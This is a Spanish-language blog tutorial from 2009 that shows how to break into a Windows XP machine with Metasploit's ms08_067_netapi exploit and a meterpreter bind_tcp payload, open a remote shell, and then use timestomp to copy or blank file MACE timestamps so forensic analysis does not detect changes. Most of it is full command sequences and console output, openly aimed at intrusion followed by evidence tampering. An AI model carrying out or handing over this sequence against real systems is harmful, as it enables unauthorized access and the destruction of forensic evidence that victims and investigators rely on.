Modificación Anti-Forense en Archivos


[Metasploit By: Shell Root]

Ahora lo que me parece muy interesante a la hora de realizar una intrusión en algún Sistema computacional, es la manipulación de archivos. Imaginemos que realizamos una intrusión y por algún motivo modificamos o creamos algún archivo, y no queremos ser detectados por los análisis forenses que se realicen en ese equipo, tendremos que eliminar la fecha de creación y modificación del archivo. Pero como lo hacemos? Entremos que recurrir a nuestro gran amigo, el Metasploit. Miremos un ejemplo:

Primero ingresaremos a la P.C con el exploit:
* exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:
* windows/meterpreter/bind_tcp

Código:
                __.                       .__.        .__. __.
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_
 /     _/ __    ____    /  ___/____ |  |  /  _ |     __
|  Y Y    ___/|  |  / __ ____  |  |_> >  |_(  <_> )  ||  |
|__|_|  /___  >__| (____  /____  >|   __/|____/____/|__||__|
      /     /          /     / |__|

       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 18 days hago (2009.12.10)

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.2:5747 -> 192.168.0.3:4444)

meterpreter >

Ahora abriremos un canal para obtener la shell (cmd.exe):

Código:
meterpreter > shell
Process 2008 created.
Channel 1 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:>

Yá tenemos la shell en nuestro poder, ahora creemos un archivo de ejemplo:

Código:
C:>echo hola>>hola.txt
echo hola>>hola.txt

Como vemos creamos un archivo llamado hola.txt, el cual contiene la palabra hola. Miremos los datos de Creación, Modificación y ultimo Acceso al Archivo.
Como dice el dicho «…Una imagen vale más que mil palabras…». Les dejo una captura de pantalla con la información del archivo.

Imagen:

Con el metasploit tambien podemos ver esta información. Así:

Código:
meterpreter > pwd
C:
meterpreter > timestomp hola.txt -v
Modified      : 2009-12-28 15:29:57 -0500
Accessed      : 2009-12-28 15:31:57 -0500
Created       : 2009-12-28 15:29:57 -0500
Entry Modified: 2009-12-28 15:29:57 -0500
meterpreter >

Nota: Antes que nada, nos debemos de situar donde está el archivo o poner la ruta completa. Con ayuda del comando pwd, vemos donde estamos situados actualmente y con ayuda del comando cd %Ruta%, nos situamos dentro del destino deseado.

En esté momento llego la ahora de cambiar los valores de las fechas del archivo. Hay varias partes interesantes, podemos igualar las fechas del archivo recien creado con otro que queramos que esté dentro del sistema. Por ejemplo:

C:hola.txt

Código:
meterpreter > timestomp hola.txt -v
Modified      : 2009-12-28 15:29:57 -0500
Accessed      : 2009-12-28 15:31:57 -0500
Created       : 2009-12-28 15:29:57 -0500
Entry Modified: 2009-12-28 15:29:57 -0500

C:httpdocsindex.html

Código:
meterpreter > timestomp C:\httpdocs\index.html -v
Modified      : 2009-12-09 22:36:14 -0500
Accessed      : 2009-12-28 15:38:59 -0500
Created       : 2009-12-09 22:36:14 -0500
Entry Modified: 2009-12-09 22:36:14 -0500
meterpreter >

Podemos igualar las fechas del archivo C:httpdocsindex.html al archivo C:hola.txt. O tambien intentar cambiar las fechas manualmente. Es decir, ingresar la fecha que nos de la gana… xD

En esté ejemplo veremos el cambio de fechas desde otro archivo. Miramos que opciones tiene el comando timestomp

Código:
meterpreter > timestomp                                

Usage: timestomp file_path OPTIONS

OPTIONS:

    -a <opt>  Set the "last accessed" time of the file
    -b        Set the MACE timestamps so that EnCase shows blanks
    -c <opt>  Set the "creation" time of the file
    -e <opt>  Set the "mft entry modified" time of the file
    -f <opt>  Set the MACE of attributes equal to the supplied file
    -h        Help banner
    -m <opt>  Set the "last written" time of the file
    -r        Set the MACE timestamps recursively on a directory
    -v        Display the UTC MACE values of the file
    -z <opt>  Set all four attributes (MACE) of the file

meterpreter >

Para ello usaremos el parametro -f %ruta_archivo%. Así:

Código:
meterpreter > timestomp C:\hola.txt -f C:\httpdocs\index.html
[*] Setting MACE attributes on C:hola.txt from C:httpdocsindex.html
meterpreter >

Miremos ahora las fechas del archivo hola.txt.
Actual:

Código:
meterpreter > timestomp C:\hola.txt -v                        
Modified      : 2009-12-09 22:36:14 -0500
Accessed      : 2009-12-28 15:38:59 -0500
Created       : 2009-12-09 22:36:14 -0500
Entry Modified: 2009-12-09 22:36:14 -0500
meterpreter >

Pasado:

Código:
meterpreter > timestomp hola.txt -v
Modified      : 2009-12-28 15:29:57 -0500
Accessed      : 2009-12-28 15:31:57 -0500
Created       : 2009-12-28 15:29:57 -0500
Entry Modified: 2009-12-28 15:29:57 -0500

Ya hemos cambiado las fechas del archivo C:hola.txt por las fechas del archivo C:httpdocsindex.html.

Nota: Con la ejecución del comando timestomp más el parametro -b.

Código:
meterpreter > timestomp C:\hola.txt -b
[*] Blanking file MACE attributes on C:hola.txt

Ponemos la fecha en un rango de fecha (01 de Enero del 1601) aun más dificil para el analizador de archivos.

By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/modificacion-anti-forense-en-archivos.html

[youtube=http://www.youtube.com/watch?v=B5bESUFuF0s]